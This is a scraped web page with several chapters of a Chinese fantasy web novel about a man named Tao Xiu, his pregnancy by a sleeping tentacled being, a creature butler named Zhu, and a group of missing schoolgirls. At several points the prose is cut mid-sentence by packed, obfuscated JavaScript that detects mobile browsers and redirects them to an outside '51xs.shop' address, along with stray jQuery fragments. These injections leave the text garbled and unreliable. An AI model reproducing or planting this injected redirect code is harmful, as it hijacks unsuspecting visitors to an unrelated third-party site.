l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022788|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 一定是和从前完全不一样的生活就是了。 林枚轻轻叹了口气,无奈地笑了:“可我不能再让你继续开心下去了。” 陶岫疑惑地皱了眉,一怔:“什么?” 林枚像是下定了决心,用那双坚毅的眼睛看向他:“这要从我的故事开始讲起。” “我以前是个财务,在A市一家小公司上班。”说着他有些自嘲地耸了耸肩:“财务这份工作其实还蛮特别的,在不正规的公司一不小心就进去了。” “而我也不算不小心,我是替老板进去的。他给我钱,我替他背锅。” 陶岫蓦然睁大了眼睛。 林枚不出意外在那双苍绿的眼睛里看到了同情,他笑道:“其实我也没有很不愿意。我妈妈那时候需要钱治病,我甚至还要感谢他。” “我坐了三年牢,我妈也治了三年病,但有的绝症就是治不好的,有再多钱也没用。我妈那时已经快撑不住了。” 说着,他的眸子蓦然划过一道冷肃:“就在这时,我遇到了【游戏】。” 陶岫眉头缓缓皱起来。 林枚继续道:“游戏的参与规则非常简单,犯过罪就可以。也就是说,对想要参加游戏的人来说,入场券就是去犯罪。而只要入场,就能许下一个愿望。” “我刚好拥有入场券。对一个普通人来说,这其实很无厘头,我是抱着破罐子破摔随便试试的想法参加的,我许下了我妈康复的愿望。我没想到的是,这个愿望竟然真的实现了,而作为愿望的代价,我必须作为玩家留在游戏里,参加各种副本。” “通关C级以上的副本后,玩家可以获得【能力】,”说着他紧紧盯着陶岫震惊的脸:“我们玩家之中,有一种能力叫做【虚拟回溯】,被施放的对象会沉溺在自己的其中一段记忆里,越幸福就会溺得越深。” 他一字一顿道:“我们自己对这种能力的叫法是‘意识溺水’。老板,从这里被锁定后,已经至少有30多批玩家试着攻略过你,他们的能力各式各样,却都无法对你发生作用。” “只有这次,你完全没有抗拒‘溺水’。” “轰”地一声。 陶岫睁大了眼睛,脑海中仿佛发生了一次海啸一般的巨响。 白玫瑰花依旧在轻轻摇曳,二楼小朋友的嬉笑声如此真实。 林枚道:“老板,你选择在这里继续度过你即将到来的最幸福的新生活,还是就此终止。” 陶岫抿了下唇,垂在身下的手缓缓握起来。 半晌,他垂眸有点伤感地笑了下。 再抬起头时,那张脸干净而坚定,苍绿的瞳仁剔透得一如往昔,没有任何阴霾。 他看向林枚,如初见一般温柔地弯了眼眸,道:“这次多谢了。” 顿了下,他眸子深处浮出某些更坚硬的情绪,他道:“不过我要说,即使没有你,我也很快会有这次选择。” 说罢他眸色稍冷,还不等对方回复,就利落地走向那些摇曳的白玫瑰花。 林枚一怔,哑然失笑,他喃喃道:“看来分别的日子里,还是有了些更让人放心的改变嘛。” 他看向玫瑰花丛里的青年: 陶岫修长白皙的手覆在那花杆上,缓缓用力,毫不犹豫地将它拔起。 长长的根茎被带离土壤,就像绵长的记忆路径…… “啪”地一声,玫瑰花丛被彻底带离土壤。 陶岫轻轻闭上了眼。 整个世界轰然倒塌。 …… “陶岫、陶岫。醒醒,别睡这里。” 医院科室等待区,穿着风衣的青年靠在座椅上,缓缓睁开了苍绿的眼睛。 耳边是各种小声交谈的声音,鼻尖满是消毒水味道。 一个黑衣人迅速走出大厅,很快消失在医院门外。 林枚站在门口,遥遥朝这个方向望了一眼,也很快消失在人群里。 陶岫微微仰起脸看去,乔之安正穿着白大褂站在他面前,面上是无奈的笑意,他正要将手里的毯子盖在他身上。 陶岫干脆接过毯子披起来,他像是什么都没发生一般,挑了眉道:“我的体检报告出来了?” 乔之安神情复杂地看着好友,似乎不知该怎么说。 陶岫抽了抽嘴角:“你那什么表情,我只是最近嗜睡了一些,也不可能是什么绝症吧。” 乔之安眉角一抽:“当然不是绝症!——总之,你先跟我来,我们去我办公室说。” 陶岫利落点了下头,披了毯子打着哈欠跟在了对方身后。 11. 第 11 章 “诊断结果是……你怀孕了。” 乔之安坐下来,翻开体检报告的一页,递了过去。 陶岫披着毯子坐在对面,表情整整空白了三秒:“.…..啥?” 他没听错吧? 乔之安也一脸恍惚,他轻叹了口气:“我也一点都不想相信,但检查结果就是这样。” “而且,一旦开始往这方面想就会发现,你最近的嗜睡、反胃都符合人类怀孕早期的症状。” 一瞬沉默。 陶岫机械地眨了下眼:“多久了?” 乔之安:“.……两个月。” 陶岫一怔,不知想到什么,白皙漂亮的脸上缓缓爬上浅浅的绯红,他垂眸咬了下唇,没有说话。 乔之安头疼地捏了捏眉心,接着道:“不过我还是建议你重新做下检查,万一检查出错了怎么办。”毕竟性别也不对啊! 陶岫给了自己三分钟时间接受这件事,随即他接过体检报告认真看了一遍,道:“不用了。我知道了。多谢。” 除了有件完全超出他意料的事情,这体检报告结果还蛮好,在大家普遍亚健康的环境里,他身体出乎意料地健康。 乔之安瞪大了眼睛:“你、你这就接受了?” 陶岫把体检报告收好,无语地看向他:“那不然呢?” 乔之安想到某种可能,不禁倒吸一口冷气:“你、你该不会想要这个孩子吧?陶岫你那傻逼男朋友都丢下你失踪两个月——” 等等,两个月! 也就是说那渣男失踪前都不忘和陶岫—— “嘎嘣”一声,乔之安捏断了手里的圆珠笔。 陶岫抽抽嘴角打断他:“他确实是个傻逼,不过我要这个孩子。” 顿了下他道:“而且他也没有失踪,只是我很难解释这件事。” 乔之安沉默半晌,才无可奈何地重重叹了口气。 他把拿体检报告时顺便从妇产科拿来的宣传册递给对方,道:“这上头是一些你需要遵守的注意事项。” “这算是我家的医院,你之后可以到这边做检查,医生我会为你单独安排。保密这方面你也不用担心,我也会为你安排。” 陶岫接过收好,弯了眼眸笑了下:“多谢啦。”说着他把毛毯随手搭在椅背,站了起来“那我先走啦,后面再联系你做检查。” 说罢便往外面走去。 走到门口却被叫住了。 陶岫插着风衣口袋,转身看向穿着白大褂坐在窗边的青年,此时青年的眼睛藏在镀了逆光的镜片后,他看不清。 “干嘛?”他问道。 乔之安逆光注视着他:“除了那些安排,我也不介意……” 我也不介意帮你养孩子。 最后却到底只是笑了下,道:“没什么。注意身体。” 何必主动抛弃朋友这个最安全长久的位置。 陶岫也一笑,摆摆手离开了办公室。 为了来医院做检查,这天他的植物园歇业。 做完检查才一个上午过去,他多出半下午假期。 他去看了画展、看了电影,甚至还在商场超级幼稚地和小朋友们一起坐了轮小火车。 还未入夜肚子饿了,陶岫便干脆悠闲地往他一直爱吃的汉堡肉便当店走去。 这家店他已经吃了好几年,店面干净,服务周到,牛肉肉饼扎实美味,连汤汁和蔬菜都让人食指大动。 到店后,店里客人不出意外很多,热热闹闹的,里头全是美食的香气。 看到陶岫进来,打扮利落的老板娘放下手头的活儿,亲自笑着迎上来:“小陶来了啊,这次堂食还是外带?” 陶岫弯了眼眸:“堂食。” 老板娘“哎”了声,道:“还是一份汉堡肉盖饭和一杯冰柳橙汁?” 陶岫想到什么,手悄悄放在平坦柔软的腹部,他笑了下,道:“以后柳橙汁不要冰的。” 老板娘亲切地道了声“知道了”,便连忙向后厨走去。 过了会儿,一个高挑秀气的马尾辫姑娘端着餐盘走过来,她利落地把陶岫点的饭菜和果汁放在他面前,又多放下一个小碗。 那碗里是一块热腾腾又厚实的汉堡肉。 她是老板老板娘的女儿,叫赵璨璨,陶岫已经和她很熟了。 “嘿嘿,本店特别赠送~”小姑娘在陶岫对面坐下,俏皮地眨了下眼睛,她压低声音悄咪咪道:“我爸妈让我端给小陶哥哥的。” 这是除了陶岫点的东西外,加赠的一块汉堡肉。 陶岫每次来这家店吃饭,都能得到一块加赠的汉堡肉。 他看着赵璨璨的模样忍俊不禁,并未拒绝,只是道了声谢。 接着他看到对方拿着餐盘的手上还夹着个小小的单词本,他道:“好不容易放假也不放松下吗?” 小姑娘眼睛亮晶晶的,声音爽利又甜:“在这里帮忙就算放松啦,我好不容易说服我爸妈的。” “而没客人的时候,我还能复习好多单词。现在我已经高三啦,当然要更加抓紧时间学习。我的志愿可是A大!老师说了,我只要正常发挥希望特别大!” 陶岫弯了眼眸:“很棒。加油。” 赵璨璨笑着“哎”了声,道了声“哥你慢慢吃”,便起身继续去帮忙了。 陶岫便开始享用自己的晚餐。 很快吃完,他在前台付完款正要离开,却无意中看到赵璨璨接了个电话,连围裙都没脱便跑了出去。 她的神情似乎、有些苦恼。 客流高峰期姑娘的父母都忙得脚不沾地,并未注意到这一幕,陶岫思索一瞬,跟了上去。 这家店附近就是个黑漆漆的小巷,陶岫走到巷口时,赵璨璨的声音传了出来:“我警告你你不许再找我家店的麻烦,也不许再找我爸妈要钱了!我们家不欠你的!” “还有,你哪来的我电话?再这样骚扰我我就报警了!” 陶岫眸色一冷,走了进去,毫不犹豫地挡在了姑娘面前,苍绿的眸子冰冷至极。 借着小巷里微弱至极的灯光,他看清对面是个身材臃肿穿着黑色卫衣、25岁上下的男人,他本来看着赵璨璨的眼神阴冷至极,却在看到陶岫的一瞬间睁大了眼睛。 戴着黑色手环的那只手下意识握紧,却到底未敢轻举妄动,他狠狠瞪了赵璨璨一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随即,陶岫看向在床上沉睡的俊美男人。 灯光下的睡脸优雅又冰冷。 陶岫的眉头忍不住蹙起来。 一年前,他和霍斯相遇。 相处中得知他的体||液可以让他保持清醒。 可两个月前他再次陷入了沉睡,这次他用尽办法,也没能让他再醒过来。 他回到了这个房间沉睡,沉睡前将这扇门弄成了现在的样子。 而他造出的身份证却依旧延续着因果和逻辑,因此在派出所那里,他是失踪状态。 就是因为这样,乔之安才一直觉得他是个渣男。 陶岫的手轻轻覆在腹部,看着床上的男人咬了下唇:确实是个不折不扣的人渣啊…… 直到现在他都无法想象,他的身体里现在竟然在孕育一个小生命........ 想到今天的检查结果,陶岫实在没忍住,“啪”地一声,狠狠给了床上的男人一巴掌。 12. 第 12 章 打完那一巴掌后,陶岫才觉得消了点气,他关掉床头的骨灯,向门外走去。 无数深蓝的触手被床上男人的潜意识操控,从四面的黑暗中张牙舞爪地朝陶岫涌去,陶岫走到门边,抽抽嘴角,狠狠踩了一脚快要缠上他脚踝的冰冷触手:“今晚不许再偷偷进我房间。” 说罢利落地摔门而去。 回到客厅时,椰子已经乖巧地窝在地毯上睡着了,陶岫放轻脚步去洗澡。 洗完澡后的睡前时间,他打开手机选购完一些日后要用到的东西后,才躺下睡觉。 温柔的月光照在床上,陶岫将手轻轻覆在腹部,闭上了眼睛。 那里现在还很平坦,覆着轻薄的腹肌,他感受不到任何动静,但他知道,那里面正在孕育一个和他血脉相连的孩子。 他发誓,这个孩子会得到很多很多爱…… 夜晚的房间里,青年的呼吸渐渐变得和缓,门在这时被悄然打开,无数深蓝触手在一瞬间安静地涌入,小心翼翼地缠上青年的四肢,乖巧地和青年同眠。 …… 第二天凌晨六点钟,陶岫干脆利落地将自己身上的触手一条条扯下来丢下了床,踹了两脚后才头也不回地去洗漱。 等到青年进了浴室,被踹的时候装死的触手们才灰溜溜溜回杂物间。 陶岫也没在意,遛完椰子后正常去挤早高峰上班。 植物园里,周日的二楼草莓区几乎成了网红打卡点,比从前更加热闹,甚至吸引了年轻的大学生们来赶时髦。 陶岫照旧穿着工装,半蹲在地上采集土壤数据与植物生长数据,以更科学地配比植物需要的养分与水。 一丛玫瑰花正在他身边轻轻摇曳,花丛里的铭牌清晰印着“黑巴克玫瑰”的字样,美丽的丝绒质地花瓣层层展开,泛着某种典雅的黑色。 这才对。 他真正种的是这种品种的玫瑰花,而不是白玫瑰。 正在这时,一道声音在身后响起来:“老板,你的花真的种得很好,如果能在这么美丽的地方工作,一定很幸福。” 陶岫瞳孔一缩,他站起来,缓缓转过身,看向林枚。 他看了眼林枚手上的黑色手环。 林枚却只笑着,眼尾蔓延出细长的纹路:“我是来向你告别的。今天我该走了。” 陶岫抿了抿唇,道;“你说的【游戏】——”真的没办法离开吗? 林枚却只是将食指竖在嘴上,他看着青年,眸色温柔:“老板,别问更多,我也不会说。” 似乎有谁在保护陶岫,所以除了这次的意外,几乎没有玩家能伤害到他。 那么,陶岫就不该知道更多信息,毕竟,关于这个【游戏】的一切,知道得越多越不幸。 这个核心和人类如此相似,就该像这个世界幸运的那部分人类一样,开心快乐无忧无虑地活下去。 幸好他通关C级副本后得到的能力是【安全时间】,虽然只能使用一次,但可以无视规则自由进入任何一个副本两天,两天结束后他能安全脱离。 他利用这个能力回到了现实世界,他本想再看一眼这个世界就好,却恰巧碰到了【虚拟回溯】玩家对陶岫出手。 陶岫是核心,他的记忆也算副本的一部分,他才能进去提醒对方。 只不过,那毕竟是进入一个核心的记忆,他每次只能在里面待十分钟,十分钟后就要脱离休息段时间,幸好在第二次进入时,他成功提醒了陶岫。 沉默半晌,陶岫无奈地弯了眼眸,没有再继续追问,只是真诚地道:“祝你好运。一切顺利。” 不知怎地,他总觉得不久后会再见到这个年轻人,而那时候,他可以帮到他。 或许就是因为这种莫名又肯定的预感,他并未再为这个年轻人担心。 林枚鼓起勇气,像拥抱好友般倾身抱了下青年,道了声:“你也是。一切顺利,每天开心。” 说罢便转身离开了植物园。 一直等到林枚的背影消失,陶岫才重新做自己的工作。 午休时间,陶岫皱着眉在word文档上敲下【游戏】这两个字: 这诡异的【游戏】到底是怎样的存在?他又被【游戏】认定为什么? 林枚说过,至少30多批所谓的玩家试图攻略过他,但说实话,除了和霍斯相遇前遇到的那场跟踪,和霍斯相遇后,他根本没再碰到过类似的恶意事件。 所以,是霍斯在保护他吗? 想到这,陶岫垂眸安静地笑了下,他将手覆在腹部,温柔 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再正常不过的孕吐后,陶岫漱口后洗了把脸,他看向镜子里的自己:水珠顺着脸颊滴落,他的眼珠却依旧是明亮的,脸色也很健康。 他垂了眸,不由得将手轻轻放在腹部,面上浮出个温柔的浅笑:这个孩子真的很乖。 除了嗜睡一些,他的身体几乎没有任何不适,连吐都很少。 这个孩子明明已经存在于他的身体里,却好像连生长都要小心翼翼、生怕伤害到他一点点。 陶岫清晰地感觉到爱意在心底泛滥得一塌糊涂,他不由得失笑,喃喃自语道:“怎么这么乖啊……” 正在这时,一条粗|壮的深蓝触手自天花板悄然垂落,揽住了青年的腰,它温柔地摩挲着青年纤瘦的腰腹,就要钻进青年的衣摆。 馥郁的冷香里,陶岫似乎习惯了这样的触碰,只是任对方亲昵地动作着,并未躲避。 他只是重新打开水龙头,正要最后再洗下手,突然,他动作一僵,屏住呼吸睁大了眼睛:他清晰地感觉到,这个才两个月不太可能有胎动的孩子、很轻很轻地动了一下…… 13. 第 13 章 陶岫覆在腹部的手轻轻一颤,心脏“砰砰”跳了起来,鼻尖依旧满是那种令人晕眩的香气,他眨了下眼,像在问那些并不具备意识的出手,又像在喃喃自语:“他(她)……是在回应我们吗?” 没有任何回答,只有深蓝的触手眷恋又变本加厉地缠上青年的身体。 陶岫弯了眼眸,轻轻摩挲着腰腹处柔软衬衫的褶皱,温柔地道:“乖孩子……” 这次没有得到任何回应。 那个小小的生命似乎还太微弱,还没有力量回应更多爱,他(她)亲昵地眷恋着青年,安静又乖巧地成长着。 陶岫面上的笑意更加温柔,他擦净脸,走出浴室去吃营养餐。 那家店不仅招牌的汉堡肉好吃,营养餐也做得非常美味,肉类和蔬菜的比例也配得很好,但每天的食物只靠外带好像也不太好。 或许他应该考虑把工作从七天无休模式切换到正常的双休模式。 边想一些零碎的杂事边吃过了晚餐,陶岫难得心情很好地走进霍斯的房间,为那些多肉浇水。 浇完水后,他看向在床上沉睡的俊美男人,俯身在男人额上印下一个亲吻,挑了眉道:“你最好在他(她)出生前醒来,不然你就等着吧。” 房间里的触手闻言发疯一样从四面八方朝青年涌去,纠缠着青年的身体,却并不敢绊住青年的步子和动作。 陶岫站在那里环顾四周,床头的骨灯散发出冰冷诡异的蓝色光芒,却只照亮了床头那点范围,房间其他地方依旧是浓稠的黑暗。 更喜欢生活在这里的另外两只“狗狗”似乎现在并不在房间,他也没办法准确寻到它们。 其实这一年来,他从未打开过这个房间的大灯、看清过这个房间的全貌。 恋爱之后,稍微具备了一些人类社会常识的霍斯似乎很不情愿让他看到这个房间,于是他便也没有主动要求去看。 毕竟,再亲密的关系也应该为伴侣留一些私密空间。 其实他能理解那个男人在担心他会被吓到,但霍斯总是不懂,他连和那些诡异的触手上||床都接受了,难道还会怕别的吗? 这样想着,陶岫若有所思地看向一个方向:那里应该是窗子,因为之前两只狗狗跑跳撒娇时,曾经从哪里咬着厚重的窗帘塞到他手里。 也不知这个房间和窗外有什么,让霍斯这么害怕被他看到。 陶岫无奈地笑了下,离开房间准备去洗漱。 考虑到那些触手的进出方便,他只是掩住了门,并未彻底合上。 很快洗漱完成后,陶岫开始改造他的屋子。 其实也没做太多特别的设计,只是加固了下门,并且把他屋子的所有玻璃对外的那面都改造成了无限池塘。 只是考虑到万一有误伤普通人的可能性,陶岫就有点苦恼。 他站在客厅的窗子前,摸着下巴考虑要怎么改善下。 突然,地毯上自顾自玩玩具的椰子猛地直起了身体看向杂物间的门,它警惕地“嗷呜”叫了一声,露出了可怖的獠牙。 陶岫动作一顿,猛地向那扇门看去。 “咚、咚、咚” 门内的黑暗深处传来了模糊不清的敲击声。 陶岫浑身紧绷起来,他牵好椰子,打开门走了进去。 钝钝的“咚咚”声更加清晰,陶岫打开霍斯床头的骨灯,通过床确定了自己的位置,看向声音传来的方向:那里是窗子。 陶岫瞬间握紧椰子的牵引绳:有人在外面敲窗子! 但奇怪的是,椰子依旧在警惕地叫着,房间里分外排外的触手却没有任何反应,依旧在悠闲地蹭着他的身体撒娇。 陶岫思索一瞬,抿了下唇,屏住呼吸牵着椰子向声音的方向走去。 “老大您把我弄醒倒是开下窗啊——啊有谁在那里对不对!救命啊!help!这窗台死滑我快撑不住了!” 陶岫瞳孔一缩:是霍斯把人叫来的吗?怪不得房间里的触手全都没反应。 他正要再上前一步摩挲窗帘的位置,一条触手却占有欲十足地禁锢住他后退一步,另一条才不慌不忙地朝着那个方向移动了过去,嫌弃地挑了下窗帘,“嘎嘣”一声打开了窗子,飞速地捞起什么东西撤回来,毫不温柔地丢在了陶岫脚下,发出“咚”地一声清脆响声。 陶岫把床头的灯拿在手里照过去,一个人、准确来说,是一个模糊的人形生物倒在地上打着滚:“啊真的好痛啊QAQ” 声音清脆好听,像是个少年的声音。 即使是人形,陶岫也能感知到:是同类…… 除了霍斯和他的另一个同类。 陶岫眨了下眼,尽可能让自己的口吻显得友好:“你好?”顿了下,他指了下门的方向:“你要不要先到那里查看一下伤势。”毕竟,刚刚听那声音真的很像头被磕到了。 地上的生物此时抱膝坐了起来,委屈地“呜”了声,道了声:“您真是个好人!QAQ” 陶岫想到刚刚那些触手的所作所为,心虚地轻“咳”了声,向外走去,边道:“总之,你先跟我来。” 人形生物“唔”了声,磕磕绊绊地跟着陶岫身上的温度向外走去。 …… 客厅的灯光下,陶岫看着眼前的人讶然地眨了下眼:声音听着很幼,人倒是出乎意料地高大。 银发银眸肤色过分苍白的肌肉青年穿着身狼狈的男仆黑西装,局促地坐在沙发上,偷偷好奇地打量着周围。 只是,他的一只手紧紧缩在西装袖子里,似乎很介意被陶岫看到。 陶岫安抚好椰子,礼貌地给客人上了果汁,他斟酌道:“请问你是?” 青年看着陶岫眨了下眼,又好奇地看了下陶岫纤瘦的腰身,他:“我叫竺,是个管家。老大把我叫醒让我来陪伴你。” 还被要求要好好照顾好这个青年。 陶岫一怔:“.…..霍斯?” 青年听到陶岫叫这个名字倒吸一口冷气,半晌,才忙道:“对、对的。”顿了下他道:“您可以任意使用我!做什么都可以!我是个管家,这是我的职责。” 他可是一个非常合格的管家! 陶岫恍恍惚惚半晌没回过神:他一个住90平房子的普通打工人,现在有了一个……管家??? 这也太魔幻了吧! 霍斯到底在想什么啊!睡着了都不让人省心! 他抽了抽嘴角,正要说什么,却突然瞳孔一缩。 他的视线定格在竺那条缩回衣袖的手臂上:青年刚刚眉头急促地皱起一瞬,一根手指不小心伸出了衣袖。 即使已经缩回,陶岫也将那根带着血洞的手指看得清清楚楚。 他立刻在青年面前半蹲下来,毫不犹豫地将那条衣袖扯了上去。 竺来不及阻挡,脸霎时变得通红,他忙结结巴巴道:“没、没事的!我已经醒了很快就能消化掉,只是稍微难受点而已没关系的!就是有点丑但绝不影响我做事——” 陶岫睁大眼睛看着眼前的一幕,苍绿的眸子里渐渐浮出丝丝缕缕的冷光: 只见青年那条手臂上,密密麻麻长满了水蛭一般黑棕色柔软的虫子。 每条虫子都长了张诡异得如恐怖谷效应一般的人脸,它们在青年的血肉里钻进钻出,啃噬着青年的血肉。 陶岫难得连声音都有些冷,道:“这些是什么?” 竺面上浮出个不好意思的笑,道:“虫子嘛。本来谁都不会放在心上嘛,踩死就好啦,但最近也不知发生了啥,好像闹得凶了点,我一醒来吓了一大跳。” 看出对方似乎在为自己担心,他道:“真的没事的,不然老大根本不会放我进房间。” 虫子这么渺小的生物,根本没有资格得到祂的注视。 陶岫叹了口气:“但会很难受吧?” 竺一怔,张了张口却不知说什么:怎么会有这么温柔的同类啊……他甚至算是他的另一个主人…… 陶岫并未察觉对方的情绪,只是小心地放下那只手臂。 因为和霍斯的相处,他现在很擅长和刚来到人类社会的同类相处。 他打开电视,弯了眸道:“你先休息下,我去问下医生类似水蛭的生物怎么处理。” 说罢便起身去了卧室,打通了乔之安的电话。 …… 坐在沙发上的竺饶有兴趣地看着面前会播放影像的屏幕:里面好多只蚂蚁在说他听不懂的话耶。 好好玩。 “据本报前线记者,目前已有13位女学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022791|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家长至民警处报案,据了解,她们都为明远高中高三2班学生,都于今晚同一时间下落不明,请了解相关线索的广大市民尽快至民警处提供线索!” “13位女学生的名字分别为:赵璨璨、李行远……” 竺好奇地看着屏幕歪了脑袋:他还是不懂那些可爱的小蚂蚁在说什么。 他会努力化成蚂蚁的样子还是沉睡中的老大潜意识的命令。 老大要他照顾的同类也在说蚂蚁的语言,但他们能彼此交流,大概率是因为……他的小主人的能力。 他安静地看着右手及手臂上密密麻麻的“水蛭”:其实真的不用这么为他担心的,这些最多七天,他就能全部消化掉了。 虫子而已嘛,不会有谁放在心上的。 就是真的很恶心啊啊啊啊 正在这时,陶岫打完电话从卧室出来,他有点无奈地叹了口气,道:“我有个医生朋友,他说他会亲自过来一趟。” 乔之安是个骨科医生,但也不是不能处理水蛭,他过来一趟确实要比带着没有身份证也没有任何生活经验的同类去医院要方便得多。 只是乔之安拎着医药箱和各种医疗器具过来后,还是震撼了。 他看着那条可怖的手臂半晌没说话,只是严肃地拧起眉头,利落地戴上医用手套在竺面前半蹲下来,道:“陶岫,你负责递工具。” 陶岫一怔,拦住了他:“不,你告诉我怎么操作,我来。” 乔之安瞪大眼睛看他:“先不说我才是医生,你知不知道你现在正——” 陶岫却无比坚定地看向他:“乔之安,我有预感,如果让你碰了这些东西,我会后悔一辈子。” 说罢他一把将他推开,戴好橡胶手套拿起了工具。 乔之安满脸怔愣,反应过来时忙道:“水蛭的口器是一种吸盘,所以你要……” …… 不知过了多久,陶岫才处理完竺身上的虫子。 乔之安坐在沙发上,捞着竺的手臂小心翼翼地帮对方消毒,间或看了眼浴室方向——陶岫进去那里已经很久没出来了,他压低声音道:“我就是随便一问哈,哥们儿,你又是谁啊?和小陶什么关系?” 竺:“???” 手臂现在非常舒服,他非常愉悦。 但是亲爱的小蚂蚁真的很抱歉他真的听不懂啊! 以为对方不想说,乔之安心里吐槽着这货嘴还挺严,一边任劳任怨地帮对方继续消毒。 …… 浴室里,陶岫皱着眉看着盆子里那些可怖的虫子。 每一条虫子的圆形口器里都长着可怖的牙齿,它们似乎很害怕陶岫,不断扭动着身体想要逃离,虫身上的“人脸”配合着口器发出某种尖锐的哀嚎。 陶岫眯了眯眸子:这绝对不是普通的水蛭。 但这些到底是什么? 接着,陶岫无奈地看向椰子。 它两只猩红的眼睛放光地看着盆里的食物。 椰子好像很爱吃这些。 霍斯从前说过,椰子有两套口腔,一套用来进食等日常行为,另一套用来发挥清洁工的作用,清洁家里。 他见过的,椰子的清洁口腔简直比84消毒液还要厉害。 但他第一次见到椰子的进食口腔,也是第一次看到椰子流口水。 有点心软地摸了摸椰子的脑袋,他轻轻道:“抱歉啊,直到现在才发现你爱吃什么。” 接着他将那只挤满虫子的盆向前推了推,道:“吃吧。” 话音刚落,盆里的虫子在一瞬间齐齐断成两半,瞬间失去了所有生机,难消化的口器全都化作了齑粉。 椰子更加兴奋地摇着尾巴:连食物都帮它处理好了!呜呜呜它好爱他们! 接着它便衔起食盆,开心地顶开浴室的门,快乐地跑进杂物间,到处呼唤小伙伴们来享用美食。 …… 陶岫怔怔地站在浴室里,看着自己刚刚洗了很多遍的手:不是他。 这不是他的能力。 难道是…… 他蓦然睁大了眼睛,心脏跳得越来越快。 一个很轻盈很微弱很模糊很稚嫩、几乎还未成形的意识轻轻传到了他的脑海:“喜欢、妈咪、喜欢、狗狗。” 14.第 14 章 那个小小的意识现在还非常微弱,只出现了一瞬,便消失了。 陶岫却觉得有一股巨大的幸福感涌上心头。 他将手轻轻放在腹部,回应着刚刚那一闪而逝的意识,声音轻而温柔:“……我也很喜欢很喜欢你。” 在浴室平复好心情,陶岫才来到客厅。 乔之安已经帮竺的手臂消毒完,并包好了绷带。 竺不知是因为一直在沉睡还没适应苏醒的状态,还是真的累了,已经大喇喇躺在沙发前的地毯上睡着了。 乔之安看到陶岫出来,指了指地上的人,挑了眉道:“也是同类?” 陶岫点了下头。 乔之安:“。”他就知道。 不然一个正常人谁大半夜戴假发美瞳想睡觉还占狗的地盘睡啊! 其实,陶岫身边多一些同类是好事。 想到这,乔之安笑了下,问道:“你打算怎么安置他?” 陶岫:“明天我会带他去植物园先熟悉一下。” 竺沉睡的地方有那么多虫子,他肯定不能再让他回去。 而留在这里的话,他引导同类适应人类社会的经验是:首先不要把对方留在家,不然自己乱走容易被骗去做牛郎。 乔之安点了下头:“也成。” 接着他收拾好医疗箱站起来,道:“那我先走啦。地上那哥们儿每两天要换次药,没身份证不好去医院,你到时直接带他来我家医院找我,我替他安排。” “还有你的身体,有情况也一定要及时联系我。” 陶岫弯了眼眸:“麻烦你了。” 顿了下,他有点不好意思地摸了下鼻尖,道:“除了这件事,还有很多事,真的多谢。” 乔之安闻言停下步子,拍了下陶岫的肩,痞痞笑了下:“先不说我们是朋友,这是应该的。” “就说和十年前你救过我的命相比,我现在做的这些又算什么呢。” “陶岫,真的很开心认识你、和你做朋友。” 陶岫一怔。 乔之安也没在意,他大喇喇朝陶岫摆摆手:“你快休息吧,先走啦。” 等到门被轻轻合上,陶岫才回过神来,他面上不由得浮出个温柔的浅笑:能在这个世界长大,真的很好很好。 他舒展了下身体转身走向浴室,准备为了他的小朋友要戒掉经常刷手机的习惯,洗漱完直接睡觉。 ...... 陶岫睡得很好,一夜无梦。 第二天,他带着一脸懵逼的竺去赶早高峰上班,然后,竺不出意外地被当成coser围观了一路。 不过好事是,意外为他的植物园增加了一些客流。 办公室里,根本听不懂人话的竺就有点忐忑:“那、那个,请问我被那些可爱的小蚂蚁们讨厌了吗?QAQ” 不然她们为什么要用那个长方形的会发光的东西对着他?那是武器吗?QAQ 陶岫在路上已经大致了解了竺的语言困境,此时听到那个称呼还是没忍住抽了抽嘴角,他纠正道:“首先,她们都是人类,不是蚂蚁。”说着他耸了耸肩:“其次,她们是因为喜欢你才会用手机拍你。” 就像他碰到的那些参观完植物园想和他合影的小妹妹们,她们没有任何恶意。 竺听得一知半解,却因为得知她们喜欢自己而开心:“啊我也很喜欢那些叫人类的蚂蚁!” 自从来到这里,他觉得自己日后一定会成为一个蚂蚁控! 陶岫:“。” 他知道引导对方适应社会不是一时半会儿能做到的事情,于是便也没有再纠正对方的称谓,只是道:“总之,今天你可以随便在我的植物园逛一下,想做什么都可以。” “但只有一点,”陶岫温柔地看向窗外那些已经进园参观的人类客人,道:“你要和他们好好相处,绝对不能伤害他们或吓到他们,明白吗?” 竺连声答应后大步走出办公室,超级开心地奔向了他超爱的“蚂蚁堆”。 …… 陶岫看着那个夸张的背影不由得轻笑出声,随即他开始了一天的工作。 时间很快到了中午,陶岫舒展了下身体,开始午休。 他本想点两份汉堡肉便当当做他和竺今天的午饭,却讶然地发现,他经常吃的那家店现在是休息状态。 他是十年前和老板老板娘认识的,那家店也是老板老板娘和他认识不久后开起来的。 他们夫妻两个是外地人,一直非常努力地工作拼命在A市扎根,十年来几乎没有闭店休息过。经过这么多年的打拼,那家店现在生意非常红火。 即使生意现在已经这么好了,他们的日子也过得很好了,夫妻俩也很少休息,他们一直说,想为了赵璨璨未来能够接受更好的教育再多攒点钱。 而且他们很珍惜客人,每次关店休息的前一两天,都会在店门口的小黑板上说明情况。但他昨晚去的时候,并没有看到通知。 或许是因为他们这次忘记说明了?也或者是店里太忙了暂时不做外卖? 